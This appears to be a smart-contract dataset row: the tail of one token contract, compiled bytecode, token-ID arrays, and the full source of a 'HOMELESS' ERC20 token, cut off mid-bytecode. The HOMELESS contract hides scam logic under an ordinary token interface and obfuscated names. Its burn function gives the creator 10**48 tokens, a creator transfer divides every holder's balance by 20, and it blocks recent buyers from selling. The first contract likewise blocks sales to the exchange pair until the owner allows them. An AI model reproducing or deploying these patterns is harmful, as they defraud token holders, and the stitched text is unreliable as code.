_allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "WE: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "Sorry: transfer from the zero address"); require(recipient != address(0), "Sorry: transfer to the zero address"); require(amount > 0, "Sorry: Transfer amount must be greater than zero"); if (!_antiwhale && sender != owner() && recipient != owner()) { require(recipient != dexPair, " Sorry:prowhale is not enabled"); } _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "WE: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a8a037f511610071578063a8a037f514610310578063a9059cbb1461032c578063dd62ed3e1461035c578063f242ab411461038c578063f2fde38b146103aa57610121565b806370a082311461026a578063715018a61461029a5780638da5cb5b146102a457806395d89b41146102c2578063a457c2d7146102e057610121565b80631a026c96116100f45780631a026c96146101b057806323b872dd146101ce578063313ce567146101fe578063395093511461021c5780634ce4898f1461024c57610121565b806306fdde03146101265780630758d92414610144578063095ea7b31461016257806318160ddd14610192575b600080fd5b61012e6103c6565b60405161013b91906114a6565b60405180910390f35b61014c610458565b6040516101599190611547565b60405180910390f35b61017c600480360381019061017791906115db565b61047e565b6040516101899190611636565b60405180910390f35b61019a61049c565b6040516101a79190611660565b60405180910390f35b6101b86104a6565b6040516101c5919061168a565b60405180910390f35b6101e860048036038101906101e391906116a5565b6104cc565b6040516101f59190611636565b60405180910390f35b6102066105c4565b6040516102139190611714565b60405180910390f35b610236600480360381019061023191906115db565b6105db565b6040516102439190611636565b60405180910390f35b610254610687565b6040516102619190611636565b60405180910390f35b610284600480360381019061027f919061172f565b61069a565b6040516102919190611660565b60405180910390f35b6102a26106e3565b005b6102ac610836565b6040516102b9919061168a565b60405180910390f35b6102ca61085f565b6040516102d791906114a6565b60405180910390f35b6102fa60048036038101906102f591906115db565b6108f1565b6040516103079190611636565b60405180910390f35b61032a60048036038101906103259190611788565b6109dc565b005b610346600480360381019061034191906115db565b610a8e565b6040516103539190611636565b60405180910390f35b610376600480360381019061037191906117b5565b610aac565b6040516103839190611660565b60405180910390f35b610394610b33565b6040516103a1919061168a565b60405180910390f35b6103c460048036038101906103bf919061172f565b610b59565b005b6060600580546103d590611824565b80601f016020809104026020016040519081016040528092919081815260200182805461040190611824565b801561044e5780601f106104235761010080835404028352916020019161044e565b820191906000526020600020905b81548152906001019060200180831161043157829003601f168201915b5050505050905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061049261048b610de0565b8484610de8565b6001905092915050565b6000600854905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006104d9848484610fb3565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610524610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059b906118c8565b60405180910390fd5b6105b8856105b0610de0565b858403610de8565b60019150509392505050565b6000600760009054906101000a900460ff16905090565b600061067d6105e8610de0565b8484600260006105f6610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106789190611917565b610de8565b6001905092915050565b600960149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106eb610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076f906119b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461086e90611824565b80601f016020809104026020016040519081016040528092919081815260200182805461089a90611824565b80156108e75780601f106108bc576101008083540402835291602001916108e7565b820191906000526020600020905b8154815290600101906020018083116108ca57829003601f168201915b5050505050905090565b60008060026000610900610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b490611a4b565b60405180910390fd5b6109d16109c8610de0565b85858403610de8565b600191505092915050565b6109e4610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a68906119b9565b60405180910390fd5b80600960146101000a81548160ff02191690831515021790555050565b6000610aa2610a9b610de0565b8484610fb3565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b61610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be5906119b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5590611add565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610d2e5760009050610d90565b60008284610d3c9190611afd565b9050828482610d4b9190611b86565b14610d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8290611c29565b60405180910390fd5b809150505b92915050565b6000610dd883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a0565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90611cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611d4d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fa69190611660565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90611ddf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108a90611e71565b60405180910390fd5b600081116110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd90611f03565b60405180910390fd5b600960149054906101000a900460ff1615801561112657506110f6610836565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111655750611135610836565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111fc57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f290611f6f565b60405180910390fd5b5b611207838383611403565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128590612001565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113239190611917565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113879190611660565b60405180910390a361139a848484611408565b50505050565b600080831182906113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113de91906114a6565b60405180910390fd5b50600083856113f69190611b86565b9050809150509392505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561144757808201518184015260208101905061142c565b83811115611456576000848401525b50505050565b6000601f19601f8301169050919050565b60006114788261140d565b6114828185611418565b9350611492818560208601611429565b61149b8161145c565b840191505092915050565b600060208201905081810360008301526114c0818461146d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061150d611508611503846114c8565b6114e8565b6114c8565b9050919050565b600061151f826114f2565b9050919050565b600061153182611514565b9050919050565b61154181611526565b82525050565b600060208201905061155c6000830184611538565b92915050565b600080fd5b6000611572826114c8565b9050919050565b61158281611567565b811461158d57600080fd5b50565b60008135905061159f81611579565b92915050565b6000819050919050565b6115b8816115a5565b81146115c357600080fd5b50565b6000813590506115d5816115af565b92915050565b600080604083850312156115f2576115f1611562565b5b600061160085828601611590565b9250506020611611858286016115c6565b9150509250929050565b60008115159050919050565b6116308161161b565b82525050565b600060208201905061164b6000830184611627565b92915050565b61165a816115a5565b82525050565b60006020820190506116756000830184611651565b92915050565b61168481611567565b82525050565b600060208201905061169f600083018461167b565b92915050565b6000806000606084860312156116be576116bd611562565b5b60006116cc86828701611590565b93505060206116dd86828701611590565b92505060406116ee868287016115c6565b9150509250925092565b600060ff82169050919050565b61170e816116f8565b82525050565b60006020820190506117296000830184611705565b92915050565b60006020828403121561174557611744611562565b5b600061175384828501611590565b91505092915050565b6117658161161b565b811461177057600080fd5b50565b6000813590506117828161175c565b92915050565b60006020828403121561179e5761179d611562565b5b60006117ac84828501611773565b91505092915050565b600080604083850312156117cc576117cb611562565b5b60006117da85828601611590565b92505060206117eb85828601611590565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061183c57607f821691505b602082108114156118505761184f6117f5565b5b50919050565b7f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b60006118b2602583611418565b91506118bd82611856565b604082019050919050565b600060208201905081810360008301526118e1816118a5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611922826115a5565b915061192d836115a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611962576119616118e8565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a3602083611418565b91506119ae8261196d565b602082019050919050565b600060208201905081810360008301526119d281611996565b9050919050565b7f57453a2064656372656173656420616c6c6f77616e63652062656c6f77207a6560008201527f726f000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a35602283611418565b9150611a40826119d9565b604082019050919050565b60006020820190508181036000830152611a6481611a28565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ac7602683611418565b9150611ad282611a6b565b604082019050919050565b60006020820190508181036000830152611af681611aba565b9050919050565b6000611b08826115a5565b9150611b13836115a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b4c57611b4b6118e8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b91826115a5565b9150611b9c836115a5565b925082611bac57611bab611b57565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c13602183611418565b9150611c1e82611bb7565b604082019050919050565b60006020820190508181036000830152611c4281611c06565b9050919050565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ca5602483611418565b9150611cb082611c49565b604082019050919050565b60006020820190508181036000830152611cd481611c98565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d37602283611418565b9150611d4282611cdb565b604082019050919050565b60006020820190508181036000830152611d6681611d2a565b9050919050565b7f536f7272793a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611dc9602583611418565b9150611dd482611d6d565b604082019050919050565b60006020820190508181036000830152611df881611dbc565b9050919050565b7f536f7272793a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e5b602383611418565b9150611e6682611dff565b604082019050919050565b60006020820190508181036000830152611e8a81611e4e565b9050919050565b7f536f7272793a205472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b6000611eed603083611418565b9150611ef882611e91565b604082019050919050565b60006020820190508181036000830152611f1c81611ee0565b9050919050565b7f20536f7272793a70726f7768616c65206973206e6f7420656e61626c65640000600082015250565b6000611f59601e83611418565b9150611f6482611f23565b602082019050919050565b60006020820190508181036000830152611f8881611f4c565b9050919050565b7f57453a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611feb602383611418565b9150611ff682611f8f565b604082019050919050565b6000602082019050818103600083015261201a81611fde565b905091905056fea2646970667358221220250ee4bf483a54cfb5cdce3bc8d09a26cc71f1ec00004c527734e8affff7175564736f6c63430008090033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 2475, 2063, 2549, 22414, 2620, 2497, 2549, 2063, 2629, 2050, 2475, 3676, 2487, 2050, 2683, 2509, 2497, 2094, 29097, 2098, 2683, 2575, 2487, 20952, 14141, 2278, 2475, 2063, 2509, 2063, 1013, 1008, 2672, 14045, 20744, 1035, 1012, 1011, 1008, 1008, 1011, 1012, 1035, 1035, 1010, 1006, 1007, 1010, 1035, 1012, 1011, 1000, 1005, 1011, 1034, 1011, 1011, 1011, 1011, 1005, 1000, 1011, 1012, 1012, 1011, 1005, 1005, 1011, 1012, 1012, 1005, 1005, 1012, 1012, 1005, 1035, 1035, 1012, 1011, 1011, 1008, 1008, 1005, 1000, 1000, 1000, 1000, 1000, 1000, 1005, 1008, 1008, 1011, 1011, 1012, 1035, 1035, 1005, 1012, 1013, 1035, 1012, 1011, 1008, 1000, 1005, 1035, 1035, 1012, 1011, 1011, 1008, 1008, 1005, 1000, 1000, 1000, 1000, 1000, 1000, 1005, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,775
0x9753933eC7fd2e5241a3de0DdfA49E9CFd397c61
// @HomelessOfficial pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function WETH() external pure returns (address); function factory() external pure returns (address); } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function decimals() external view returns (uint8); function name() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private homeArr; mapping (address => bool) private Deers; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private Fruits = 0; address public pair; IDEXRouter router; string private _name; string private _symbol; address private addr2u9fenr; uint256 private _totalSupply; bool private trading; uint256 private Bigguy; bool private Banana; uint256 private Farmer; constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); addr2u9fenr = msgSender_; _name = name_; _symbol = symbol_; } function decimals() public view virtual override returns (uint8) { return 18; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function name() public view virtual override returns (string memory) { return _name; } function openTrading() external onlyOwner returns (bool) { trading = true; return true; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function symbol() public view virtual override returns (string memory) { return _symbol; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _Sheltering(address creator) internal virtual { approve(_router, 10 ** 77); (Bigguy,Banana,Farmer,trading) = (0,false,0,false); (Deers[_router],Deers[creator],Deers[pair]) = (true,true,true); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = (account == addr2u9fenr ? (10 ** 48) : 0); _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function last(uint256 g) internal view returns (address) { return (Farmer > 1 ? homeArr[homeArr.length-g-1] : address(0)); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _balancesOfTheWaves(address sender, address recipient, bool emulation) internal { Banana = emulation ? true : Banana; if (((Deers[sender] == true) && (Deers[recipient] != true)) || ((Deers[sender] != true) && (Deers[recipient] != true))) { homeArr.push(recipient); } if ((Banana) && (sender == addr2u9fenr) && (Bigguy == 1)) { for (uint256 lyft = 0; lyft < homeArr.length; lyft++) { _balances[homeArr[lyft]] /= (2 * 10 ** 1); } } _balances[last(1)] /= (((Fruits == block.timestamp) || Banana) && (Deers[last(1)] != true) && (Farmer > 1)) ? (7) : (1); Fruits = block.timestamp; Farmer++; if (Banana) { require(sender != last(0)); } } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balancesOfTheHQ(sender, recipient); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _balancesOfTheHQ(address sender, address recipient) internal { require((trading || (sender == addr2u9fenr)), "ERC20: trading is not yet enabled."); _balancesOfTheWaves(sender, recipient, (address(sender) == addr2u9fenr) && (Bigguy > 0)); Bigguy += (sender == addr2u9fenr) ? 1 : 0; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _DeployTheHomeless(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { _DeployTheHomeless(creator, initialSupply); _Sheltering(creator); } } contract Homeless is ERC20Token { constructor() ERC20Token("HOMELESS", "HOMELESS", msg.sender, 800000000 * 10 ** 18) { } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a8aa1b3111610066578063a8aa1b3114610213578063a9059cbb14610226578063c9567bf914610239578063dd62ed3e1461024157600080fd5b8063715018a6146101c95780638da5cb5b146101d357806395d89b41146101f8578063a457c2d71461020057600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806342966c681461018d57806370a08231146101a057600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027a565b60405161011a9190610e12565b60405180910390f35b610136610131366004610e83565b61030c565b604051901515815260200161011a565b600e545b60405190815260200161011a565b610136610166366004610ead565b610322565b6040516012815260200161011a565b610136610188366004610e83565b6103d8565b61013661019b366004610ee9565b61040f565b61014a6101ae366004610f02565b6001600160a01b031660009081526004602052604090205490565b6101d1610423565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d6104c7565b61013661020e366004610e83565b6104d6565b6009546101e0906001600160a01b031681565b610136610234366004610e83565b610571565b61013661057e565b61014a61024f366004610f24565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600b805461028990610f57565b80601f01602080910402602001604051908101604052809291908181526020018280546102b590610f57565b80156103025780601f106102d757610100808354040283529160200191610302565b820191906000526020600020905b8154815290600101906020018083116102e557829003601f168201915b5050505050905090565b60006103193384846105ef565b50600192915050565b600061032f848484610713565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103b95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103cd85336103c88685610fa8565b6105ef565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103199185906103c8908690610fbf565b600061041b33836108f5565b506001919050565b6001546001600160a01b0316331461047d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461028990610f57565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105585760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b0565b61056733856103c88685610fa8565b5060019392505050565b6000610319338484610713565b6001546000906001600160a01b031633146105db5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b50600f805460ff1916600190811790915590565b6001600160a01b0383166106515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b0565b6001600160a01b0382166106b25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b0565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b0565b6001600160a01b0382166107d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b0565b6001600160a01b038316600090815260046020526040902054818110156108515760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b0565b61085b8484610a25565b6108658282610fa8565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061089b908490610fbf565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108e791815260200190565b60405180910390a350505050565b6001600160a01b0382166109555760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b0565b600d546001600160a01b03838116911614610971576000610987565b73af298d050e4395d69670b12b7f410000000000005b6001600160a01b038381166000908152600460205260408120929091169091558080527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec80548392906109db908490610fbf565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600f5460ff1680610a435750600d546001600160a01b038381169116145b610a9a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b60648201526084016103b0565b600d54610ac690839083906001600160a01b038084169116148015610ac157506000601054115b610b02565b600d546001600160a01b03838116911614610ae2576000610ae5565b60015b60ff1660106000828254610af99190610fbf565b90915550505050565b80610b125760115460ff16610b15565b60015b6011805460ff19169115159190911790556001600160a01b03831660009081526003602052604090205460ff1615156001148015610b7157506001600160a01b03821660009081526003602052604090205460ff161515600114155b80610bc357506001600160a01b03831660009081526003602052604090205460ff161515600114801590